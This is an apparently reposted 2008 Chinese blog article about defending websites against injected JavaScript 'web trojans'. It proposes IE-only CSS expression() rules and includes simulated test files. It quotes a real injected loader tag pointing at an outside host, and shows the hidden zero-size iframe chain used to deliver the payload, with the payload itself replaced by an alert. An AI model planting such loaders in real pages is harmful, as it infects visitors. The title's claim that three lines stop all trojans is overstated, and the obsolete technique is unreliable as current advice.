网站运营
位置:首页>> 网站运营>> 三行代码解决全部网页木马

三行代码解决全部网页木马

作者:vickeychen 来源:Linr Studio 发布时间:2008-05-24 17:11:00 

标签:木马,网页木马,代码,安全,

依然是挂马问题,已经是第三次变种啦!可恶!今天听报道说黑客入侵红十字会官网,修改了募捐帐号 ,这种人简直禽兽不如—— * 。希望每个中国人都能为灾区献上一份爱心,做好自己的本职工作,并时刻准备着为灾区人民做点事情。

转入正题,这些日子,心情总是很沉重,不过我们得化悲痛为力量勇敢面对。有很多站长朋友联系过笔者了,他们都遭受了网页木马的破坏。一个大喊救命的网友,今晚向笔者诉苦,我就帮她看下吧。

  她告诉我说她的网站在网页的开头被加上了

<script language=javascript src=http://www.0571e.com/fly.js></script>

原来又是JS木马,唯一的区别就是它加在了网页的最开头。使用笔者以前的“二行代码解决全部网页木马”,也不起作用了。仔细一看才知道,不仅加入了<script>标记还有一行长长类似于空格的字符。它使得DOCTYPE(文档类型)有所改变。DOCTYPEs是一个web页面的关键组成部分,缺少它你的css定义和标记将不被承认有效。所以一般首行被挂JS木马的网页会显示不正常。如果您当前的网站编码是utf-8,有时还会出现乱码。

  今天晚上这位朋友的网页是gbk编码的,网页没有乱码,但是网页下面显示有错位。

  磨刀,杀毒:

  它不是插入在网头最上面吗?它不是第一个<script>标记吗?它不还是含有“http”吗?汗,啰嗦!——简单,在笔者以前的代码基础上稍稍改动,就可以了:

  在css里加上:

方案1:(缺点:完全不显示网页)

代码:
html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):null);}

方案2:(隔离木马,显示网页)

代码:
html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.getElementsByTagName('IFRAME')[0].src=document.getElementsByTagName('SCRIPT')[0].src='about:blank':null);}  

原理:获取页面的第一个<script>标记,如果src含有“http”字符,则将其隔离。经过Vista+IE7模拟测试,成功!希望XP下IE6+的用户帮忙测试下,如有问题及时反馈,谢谢!

代码:


<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{antiifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{antijs:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
html,body{antijstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):null);}
/* 以后请在此关注最新网页防挂木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style> 

至此,三行代码搞定全部网页木马完工。笔者可不希望还会有四行代码出来。有朋友担心这个代码会很占资源,其实不会的,页面加载完成后,只有鼠标碰到相关元素(如果css描述的是img,则鼠标碰到这个img时),CSS才会重复渲染一次。

  防止木马破坏访客的代码笔者是写出来啦,关键是各位网站的站长要与网站服务器的网管多多沟通,搞好虚拟主机的安全工作。这类问题大都是服务器或其所在的局域网中了病毒,遭遇了ARP、DNS等欺骗所致。及时打好服务器系统补丁,安装必要的防火墙(如ARP防火墙)很有重要。

  也许,这场战役还没有停止,我们将与它斗争到底!勇敢面对!

以下是测试的文件(全仿真模拟):

default.html  这是网站首页,假如被挂马,如:

代码:


<script language=javascript src=http://www.***.cn/mm.js></script>                                                                                                                                                                                                 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
...代码过长,略去 

mm.js 这是木马的JS文件:

代码:


document.write("<iframe width='0' height='0' src='http://www.***.cn/mm1.htm'></iframe>"); 

mm1.htm 这是js木马引用的iframe页面:

代码:

汗,还有统计呢!

<script language="javascript" type="text/javascript" src="http://js.users.51.la/1833695.js"</script>
<iframe src=http://www.nihaoku.cn/mm2.htm width=0 height=0></iframe> 

mm2.htm 这是被mm1.htm引用的iframe页面:

代码:


<script>
    window.onerror=function(){return true;}
    window.status="完成";
</script>
<script>
/*dddddddddddddd*/
/*这里就是木马执行的代码了,我把它们删除了,换成一个弹出警告框的代码,测试如果有警告弹出,则木马起作用了,反之成功了*/
alert('木马起作用了!');
</script> 

睡觉了!安安 ^^*

下载地址:最新网页木马防御代码测试文件.rar (5.64 KB)

0
投稿

猜你喜欢

  • 据Google中文网站管理员博客报道,Google在其网站管理员工具中新增了一个“增强型 404 页面” 工具,登录Google网站管理员后
  • Internet/Intranet的网络应用过程中,Web服务器的建设必不可少,而国内的企事业单位在组网方案中多考虑向Intranet靠拢。
  • UCenter Home是Comsenz公司发布的一款SNS建站系统,目前最新版本是1.5。为了确保站点数据的安全性,定期的数据备份是相当重
  • etang最近服务器出问题了,看看,这个曾经获得过接近5000万美金风险投资的网站,今天孤零零的只剩下大学四六级查分的工具了。etang曾经
  • 当安全等级为user时,这时我们在本机建立的用户必须加入到SMB服务器中,命令为 smbpasswd -a 用户 添加LINUX用户到SMB
  • 有一段时间用户经常问我们,如果某个网站在谷歌机器人搜索时处于关闭状态,那么该网站在谷歌搜索结果中的“可见度”是否会受到负面影响。有时网站关闭
  • 个人认为不管做什么网站一定要有特色,E文网站也是一样。先简单阐述下做网站的几个关键,也许大家听起来觉的很简单,但是大家可以认真想下你做到没。
  • dedecms(织梦)完美实现伪静态的方法测试版本:Dedecms V5.6版本测试平台:Windows 7测试环境:IIS 7.5成功。其
  • 北京时间4月1日消息,据国外媒体报道,庆祝愚人节已经成为许多网络公司的传统。让每年的愚人节节目都保持创造性是一件很难的事情,但一些公司已经知
  • 百度联盟的主题推广由于后台的功能不是很强大,所以提供给用户的优化和比较的方式不是很灵活,大部分发布者很少考虑百度主题推广的广告优化。实际上对
  • 我以前曾经提到过AdSense上出现腾讯QQ币骗人的广告,对于这种非法广告大家通常使用“竞争性广告过滤”屏蔽其域名,但是却屡禁不止,前几天我
  • 6、能够使用一个磁盘的第一个分区作为裸设备吗?可以,但是不推荐。在Unix的比较旧的版本是银行,磁盘的第一个分区常常包含这个磁盘的一些信息,
  • 上译言网站的网友都应该看到那份通告了。这种类似的现象让人想起了饭否之类的微博关站,它会导致微博总体市场出现“此消彼长”的现象,例如新浪微博在
  • 大家都知道,让百度和google收录的方法不仅仅是向她提交自己的站点,这种方法在几年前经常使用,可是目前,大家所使用的恐怕都不这样做了,现在
  • 10月2日消息,据国外媒体报道,微软公司和Adobe系统公司近日也加入了Google的行列,它们都推出了无需安装任何软件的文字处理器。微软公
  • xingTemplate 是一个基于PHP的模板引擎,主要对于PHP程序的方面快速开发而设计。它可以通过简易快捷的模板语法编译为PHP文件,
  • Linux的文件系统是异步的,也就是说写一个文件不是立刻保存到介质(硬盘,U盘等)中,而是存到缓冲区内,等积累到一定程度再一起保存到介质中。
  • 在一个SNS站上,我们如何让用户看到他最想看到的feed,成了一个难题。feed是内容载体,并且依托用户关系进行传递。不过在选择feed显示
  • 每次争取到一位新客户的时候你可能总是想向他/她证明你可以做好并且你渴望再次合作。如果你对于未来是否可以与此客户再次合作不是很确定,那么你可能
  • 1、点击Godaddy进入网站进行购买。2、点击Hosting打开下拉菜单,点击Web Site Hosting进入主机方案列表。操作过程如
手机版 网站运营 asp之家 www.aspxhome.com